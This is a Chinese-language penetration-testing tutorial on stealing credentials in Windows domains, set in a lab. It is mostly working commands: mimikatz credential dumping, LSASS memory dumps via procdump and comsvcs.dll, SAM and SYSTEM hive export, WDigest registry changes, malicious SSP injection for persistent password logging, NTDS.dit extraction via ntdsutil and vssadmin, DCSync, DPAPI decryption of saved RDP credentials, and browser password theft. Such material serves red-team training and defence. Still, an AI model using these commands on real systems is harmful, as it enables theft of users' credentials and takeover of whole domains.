内网密码抓取技术
重要性
内网密码抓取决定了后续的横向成功与否
抓取密码种类
1 | 1. 本地账号密码(或者hash) |
抓取工具
简单列举
1 | 1. mimikatz |
mimikatz命令
Mimikatz提权后才能使用更多功能
1 | privilege::debug |
密码抓取原理
读SAM文件
利用Lsass.exe进程
1 | SAM文件中保存的是本地用户的HASH值,一般不允许读、写 |
在线读SAM中HASH
在线读取:在对方电脑上读取。
读取方法:利用mimikatze读取,高权限用户下才可以读取SAM文件,如:Administrator,System,过了UAC认证的管理员
1 | privilege:debug |
优点:方便快捷
缺点:mimikatze容易被杀
离线读取SAM中HASH
离线读取:将sam文件下载下来后利用mimikatze进行读取。
导出方法:
- 通过reg命令导出
1 | reg save hklm\sam sam.hive |
- 使用Powershell脚本导出
1 | powershell-import Copy-vss.ps1 |
读取文件
1 | lsadump::sam /sam:sam.hive /system:system.hive |
优点:不易被查杀
缺点:操作比较复杂
在线读取Lsass进程内存密码
在目标机器上直接读取lsass.exe内存到明文账号密码。
mimikatz
1 | sekurlsa::msv |
缺点:上传工具容易被杀
离线读取Lsass进程内存密码
原理与离线读取SAM文件读取相同
导出方法
- 远程桌面通过任务管理器导出
- 使用procdump导出lsass.dmp文件
Procdump是用于管理员或开发人员确定峰值原因的cpu监视工具。有些杀软还是会杀
1 | procdump.exe -accepteula -ma lsass.exe lsass.dmp |
在命令行运行时无法点击弹窗,所以需要添加参数-accepteula
- 使用powershell Out-MiniDump.ps1脚本
1 | powershell-import Out-MiniDump.ps1 |
脚本放置在cs目录下导入后使用
- 使用系统自带comsvcs.dll,通过comsvcs.dll的导出函数MiniDump实现dump内存
1 | 命令: |
读取方法
- 使用mimikatz对导出lsass.dmp文件进行读取
1 | mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" |
高版本明文密码抓取
Win7、 Win2008这样的机器内存中是存储明文的密码,但是在2012之后的机器(win10、win 8、win11、
2012、2016)或者安装了KB2971997补丁是内存中就不在存储明文的密码了,我们无法通过上述的方法
抓取到明文的密码。
如win10中,只有NTML hash,通过mimikatz无法直接抓到明文
Win11暂时不能抓到
但是可以抓取sam文件
获取明文密码方法
修改Wdigest注册表
在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过
修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取。
步骤:
1 | 1.先查询一下是否存在该值 |
这里注意,必须要最高管理员用户重新登录才能抓取,普通用户重新登录后也是抓不到的!
SSP注入内存获取系统密码
Lsass.exe在执行的时候会加载ssp,通过写入恶意ssp,让系统执行ssp记录密码。
Mimikatz中,有写好的恶意的SSP,他可以提供本地认证时候对明文账号密码进行记
录,我们需要将SSP注入到系统内存中,就可以获取本地的明文账号密码。因为是注
入内存所以重启后就失效了,这个攻击也叫 (SSP注入)
1 | 第一步:mimikatz misc::memssp |
如果找不到mimilsa.log文件:因为权限问题需要进入电脑系统中去找,不能通过shell看。
解决方法:
- 计划任务:复制文件到另一个地方(如:copy到桌面)
1 | echo copy c:\windows\system32\mimilsa.log c:\users\administrator\desktop\1.txt > 1.bat |
1 | schtasks /create /tn 任务名 /sc onstart /tr c:\users\administrator\desktop\1.bat /ru system /f |
- 将文件发送到远端服务器
SSP注入注册表
永久生效就需要将SSP添加到注册表中,之后系统重启就会加载SSP,这样就会获取明文账号密码
1 | 一、第一步:在Mimikatz中有一个mimilib.dll文件,这个就是SSP,将这个文件复制到 |
注意几个问题:重启后shell可能会断开,考虑计划任务重新连接。
抓取域控上的账号密码
NTDS.DIT为DC的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以
登录到域控的用户(如域管用户、DC本地管理员用户)可以访问,为了进一步保护密码哈希值,
使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
(SAM中存的域控的本地账户密码,NTD中存的是整个域所有用户账户密码)
1、离线读取,将NTDS文件复制到攻击者的本地,然后使用工具读取
2、在线读取,通过给域控的电脑上传读取的工具,进行在线读取
3、远程读取,不需要上线域控,可以通过Dcsync远程读取
获取域控Ntds.dit文件
使用卷影拷贝提取域控NTDS
1 | 从Windows XP SP2和Windows Server 2003开始,windows中引入了一项名叫卷影拷贝的服务。这种服务允许Windows系统以自动或手动的方式对文件或磁盘当前状态进行备份(或快照),即使文件处于打开状态下该服务仍然可以直接进行文件备份。Ntds.dit是默认被Windows系统锁定的,想要读取该文件就要利用卷影拷贝服务(Volume Shadow Copy Service,VSS),得到Ntds.dit文件的副本。卷影拷贝服务(VSS)本质上是属于快照技术的一种,主要用于备份和恢复,即使目标文件被处于锁定状态。 |
- ntdsutil.exe工具拷贝
1 | ntdsutil.exe是一个为活动目录提供管理机制的命令行工具,该工具默认安装在域控服务器上,可以在域控制器上直接操作,2003、2008、2012、2016等 |
第一步:创建一个NTDS快照(如果使用administrator或者其他通过uac认证的账户出现如下的提示,我们可以
使用令牌将权限切换到system),我们实验时不知道为什么没有出现错误
1 | shell ntdsutil.exe snapshot "activate instance ntds" create q q |
第二步:加载快照到磁盘
1 | ntdsutil.exe snapshot "mount {ba8078cf-af0b-4826-81ba-2ce9737429b6}" q q |
第三步:复制快照中的ntds.dit文件
1 | copy '快照地址\Windows\NTDS\ntds.dit' 目标地址 |
1 | shell dir c:\users\administrator\desktop |
第四步:删除快照
1 | ntdsutil.exe snapshot "umount {ba8078cf-af0b-4826-81ba-2ce9737429b6}" |
使用vssadmin进行NTDS拷贝
vssadmin是Windows Server 2008及Windows 7系统以上提供的VSS管理工具,它可以用于
创建或删除卷影副本,列出卷影副本的信息,他需要两步就可以进行提取NTDS文件
1 | vssadmin create shadow /for=c: |
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\ntds\ntds.dit c:\users\administrator\desktop |
1 | vssadmin delete shadows /for=c: /quiet |
IFM方式进行拷贝
可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,
需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作
1 | ntdsutil "ac i ntds" "ifm" "create full c:/test" q q |
此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下
1 | copy "C:\test\Active Directory\ntds.dit" c:\users\administrator\desktop |
读取Ntds.dit文件
在线和离线读取方法都很多,这里选择了个人习惯的方法举例。
离线读取
因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看 ntds.dit 里内容
system.hive的导出方法在sam文件读取中有提到
1 | shell reg save hklm\system system.hive |
下载到本地后,可以选择很多种工具进行文件解析,
secretsdump
1 | secretsdump.exe -system system.hive -ntds ntds.dit LOCAL |
1 | 表示禁用状态 |
也可以利用impacket中的secrets dump.py脚本执行
NTDSDumpEx
1 | NTDSDumpEx.exe -d ntds.dit -s system.hive |
在线读取
在线读取的问题:工具是否被杀软杀掉
mimikatz读取
1 | lsadump::dcsync /domain:god.org /all /csv |
1 | lsadump::dcsync /domain:god.org /liukaifeng01 /csv |
Dcsync攻击
1 | 什么是Dcsync(domain Controller synchronization ):域控同步:在内网中一般不是一个域控, |
能使用DRS服务的用户(拥有dcsync的用户)
1 | 1. Administrators组内的用户 |
关于Dcsync的利用思路
1、找到有权限的用户,从而远程读取域控用户信息,可以进行PTH 黄金 白银票据攻击
2、如果控制了域控,可以在域控添加一个管理员账号从而进行权限维持
3、可以添加一个普通的用户,修改ACL从而实现可以使用Dcsync,进行权限维持
利用Dcsync远程读取域控hash
mimikatz: DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。
- 找符合条件用户(拥有dcsync的用户)
1 | lsadump::dcsync /domain:abc.com /all /csv #读取所有用户 |
用god\liukaifeng01 普通domain users用户登录无法读取
切换为god\administrator用户后可以抓取
利用Dcsync远程读取明文密码
因为账户勾选了”使用可逆加密存储密码”的属性,利用DCSync可以获取明文凭据
添加“可逆加密存储密码”后,还需要对密码进行修改才能使其生效。
1 | secretsdump.exe 域名/用户名或者hash:密码@IP (域控ip) |
RDP明文密码抓取
RDP–远程桌面协议
管理员为了方便管理计算机,经常会进行远程桌面连接,由于每次都需要输入密码觉得麻烦,就点击了保留凭据,这个过程是可逆,所以我们可以将保存的密码进行还原。
还原的原理:Windows就通过MasterKey将我们的密码加密后保存在本地,由于Windows还
需要解密使用这个密码,所以这个过程是可逆,也正因为这一缘由,我们只要拿到MasterKey就能将密码解出来
抓取实验
1 | 域控机器:192.168.52.138 |
先在域控机器上开启远程桌面,并且首先控制靶机进行一个远程连接尝试。(勾选记住凭据)
查看当前保存的凭据
1 | 1、查看mstsc的连接记录 |
读取RDP明文密码
- 使用mimikatz获取该文件的MasterKey的guid
1 | mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\54461880A4E364919FB23518091F65E1 |
- 找到上述guid对应的masterkey值
1 | mimikatz sekurlsa::dpapi |
- mimikatz通过MasterKey值去解密凭据文件
1 | mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\54461880A4E364919FB23518091F65E1 /masterkey:e7e7aaaace37b97b28f89f64910ab639b7eb2d7d0ae1c66cd56a214ed4b286b0597ab759e88cd118b25396e43526434908c4c2222475746ae58d38a3250d0f72 |
离线读取RDP明文密码
首先通过任务管理器导出lsass.exe
同时需要把凭据下载到本地
这里如果在文件夹中 查看是无法直接查看的,因为是隐藏文件,需要修改隐藏设置。
获取凭据的masterkey uid值
1 | dpapi::cred /in:凭据路径 |
1 | sekurlsa::dpapi |
找到masterkey uid对应的masterkey值
1 | dpapi::cred /in:凭据路径 /masterkey:masterkey值 |
解密读取
(这里虚拟机有点问题,不能复制,就贴之前的图片了)
读取系统应用密码
系统应用:浏览器、其他各类软件
通过cs自带插件或者Sharp-HackBrowserData.exe可以获取